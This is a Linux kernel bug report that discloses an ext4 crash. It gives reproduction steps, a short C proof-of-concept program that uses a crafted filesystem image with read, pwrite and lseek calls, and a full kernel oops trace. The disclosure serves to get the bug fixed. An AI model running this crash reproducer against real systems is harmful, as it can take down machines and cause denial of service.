Bug 200623

Created attachment 277465 [details]
The (compressed) crafted image which causes crash

- Reproduce
# mkdir mnt
# mount -t ext4 15.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <sys/syscall.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
	unsigned char v0[8192];
	unsigned char v1[8192];
	char v2[] = ".";
	char v3[] = "lost+found";
	char v4[] = "foo";
	char v5[] = "foo/bar";
	char v6[] = "foo/bar/hln";
	char v7[] = "foo/bar/æøå";
	char v8[] = "foo/bar/baz";
	char v9[] = "foo/bar/sln";
	char v10[] = "foo/bar/acl";
	char v11[] = "foo/bar/fifo";
	char v12[] = "foo/bar/xattr";
	long v13;
    
        chdir(argv[1]);
	v13 = syscall(SYS_open, (long)v7, 2, 0);
	syscall(SYS_read, (long)v13, (long)v0, 7424);
	syscall(SYS_pwrite64, (long)v13, (long)v1, 441, 6842);
	syscall(SYS_lseek, (long)v13, 3474, 3);

	close(v13);
	return 0;
}

= Kernel message
[13983.726442] EXT4-fs: Warning: mounting with data=journal disables delayed allocation and O_DIRECT support!
[13983.783120] EXT4-fs (loop0): mounted filesystem with journalled data mode. Opts: (null)
[14000.138283] EXT4-fs error (device loop0): ext4_mb_generate_buddy:746: group 0, block bitmap and bg descriptor inconsistent: 7011 vs 7022 free clusters
[14000.141268] EXT4-fs error (device loop0): ext4_mb_generate_buddy:746: group 1, block bitmap and bg descriptor inconsistent: 7037 vs 7038 free clusters
[14000.144276] ------------[ cut here ]------------
[14000.144284] kernel BUG at fs/ext4/extents_status.c:253!
[14000.145732] invalid opcode: 0000 [#1] SMP KASAN PTI
[14000.146787] CPU: 0 PID: 1576 Comm: a.out Not tainted 4.18.0-rc4+ #1
[14000.148076] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[14000.150039] RIP: 0010:ext4_es_find_delayed_extent_range+0x2cb/0x2d0
[14000.151300] Code: 48 89 de e8 17 2a f2 00 4c 89 ef e8 ff d0 eb ff 4d 8b 75 00 4d 85 f6 75 d3 48 83 c4 10 5b 41 5c 41 5d 41 5e 41 5f 5d c3 0f 0b <0f> 0b 0f 1f 00 66 66 66 66 90 55 48 89 e5 41 57 41 56 41 89 d6 48
[14000.155067] RSP: 0018:ffff8801db3c7bf8 EFLAGS: 00010297
[14000.156124] RAX: 0000000000000000 RBX: ffff8801ebfeb478 RCX: ffff8801db3c7ce8
[14000.157555] RDX: 0000000000001900 RSI: 0000000000001901 RDI: ffff8801ebfeb478
[14000.158975] RBP: ffff8801db3c7d70 R08: ffff8801db3c7878 R09: ffffed003d7fd6e3
[14000.160396] R10: 0000000000010000 R11: ffffed003d7fd6e2 R12: 0000000000000000
[14000.161826] R13: ffff8801db3c7dc8 R14: ffff8801db3c7d48 R15: 0000000000001900
[14000.163237] FS:  00007fcccc2fb700(0000) GS:ffff8801f7200000(0000) knlGS:0000000000000000
[14000.164835] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[14000.169757] CR2: 00007ffc2ca331a0 CR3: 00000001ee168000 CR4: 00000000000006f0
[14000.171222] Call Trace:
[14000.171753]  ? ext4_iomap_begin+0x641/0x7a0
[14000.172616]  ? ext4_dio_get_block+0x80/0x80
[14000.173488]  ? ext4_file_read_iter+0xa0/0x170
[14000.174398]  ? __vfs_read+0x2a6/0x400
[14000.175152]  ? __vfs_write+0x286/0x410
[14000.175923]  ? kernel_read+0xa0/0xa0
[14000.176661]  iomap_apply+0xd7/0x200
[14000.177392]  ? iomap_seek_hole_actor+0x80/0x80
[14000.178302]  ? iomap_dirty_actor+0x310/0x310
[14000.179174]  iomap_seek_data+0x7c/0xb0
[14000.179942]  ? iomap_seek_hole_actor+0x80/0x80
[14000.180847]  ext4_llseek+0x123/0x160
[14000.181599]  ksys_lseek+0x9e/0xd0
[14000.182282]  __x64_sys_lseek+0x43/0x50
[14000.183053]  do_syscall_64+0x78/0x170
[14000.183816]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[14000.184854] RIP: 0033:0x7fcccbe174d9
[14000.185599] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 8f 29 2c 00 f7 d8 64 89 01 48
[14000.189398] RSP: 002b:00007ffc2ca310c8 EFLAGS: 00000286 ORIG_RAX: 0000000000000008
[14000.190913] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcccbe174d9
[14000.192341] RDX: 0000000000000003 RSI: 0000000000000d92 RDI: 0000000000000003
[14000.193782] RBP: 00007ffc2ca351b0 R08: 00007ffc2ca35298 R09: 00007ffc2ca35298
[14000.195216] R10: 00007ffc2ca35298 R11: 0000000000000286 R12: 0000000000400530
[14000.196652] R13: 00007ffc2ca35290 R14: 0000000000000000 R15: 0000000000000000
[14000.198107] Modules linked in: snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd soundcore mac_hid i2c_piix4 ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs zstd_decompress zstd_compress xxhash raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq raid1 raid0 multipath linear 8139too qxl drm_kms_helper crct10dif_pclmul syscopyarea crc32_pclmul sysfillrect sysimgblt fb_sys_fops ttm drm aesni_intel aes_x86_64 crypto_simd cryptd glue_helper 8139cp mii pata_acpi floppy
[14000.209140] ---[ end trace 56aa4821a2231d02 ]---
[14000.210125] RIP: 0010:ext4_es_find_delayed_extent_range+0x2cb/0x2d0
[14000.211577] Code: 48 89 de e8 17 2a f2 00 4c 89 ef e8 ff d0 eb ff 4d 8b 75 00 4d 85 f6 75 d3 48 83 c4 10 5b 41 5c 41 5d 41 5e 41 5f 5d c3 0f 0b <0f> 0b 0f 1f 00 66 66 66 66 90 55 48 89 e5 41 57 41 56 41 89 d6 48
[14000.215601] RSP: 0018:ffff8801db3c7bf8 EFLAGS: 00010297
[14000.216700] RAX: 0000000000000000 RBX: ffff8801ebfeb478 RCX: ffff8801db3c7ce8
[14000.218162] RDX: 0000000000001900 RSI: 0000000000001901 RDI: ffff8801ebfeb478
[14000.219648] RBP: ffff8801db3c7d70 R08: ffff8801db3c7878 R09: ffffed003d7fd6e3
[14000.221112] R10: 0000000000010000 R11: ffffed003d7fd6e2 R12: 0000000000000000
[14000.222560] R13: ffff8801db3c7dc8 R14: ffff8801db3c7d48 R15: 0000000000001900
[14000.224047] FS:  00007fcccc2fb700(0000) GS:ffff8801f7200000(0000) knlGS:0000000000000000
[14000.225707] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[14000.226874] CR2: 00007ffc2ca331a0 CR3: 00000001ee168000 CR4: 00000000000006f0

- Location
https://elixir.bootlin.com/linux/v4.18-rc5/source/fs/ext4/extents_status.c#L252

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.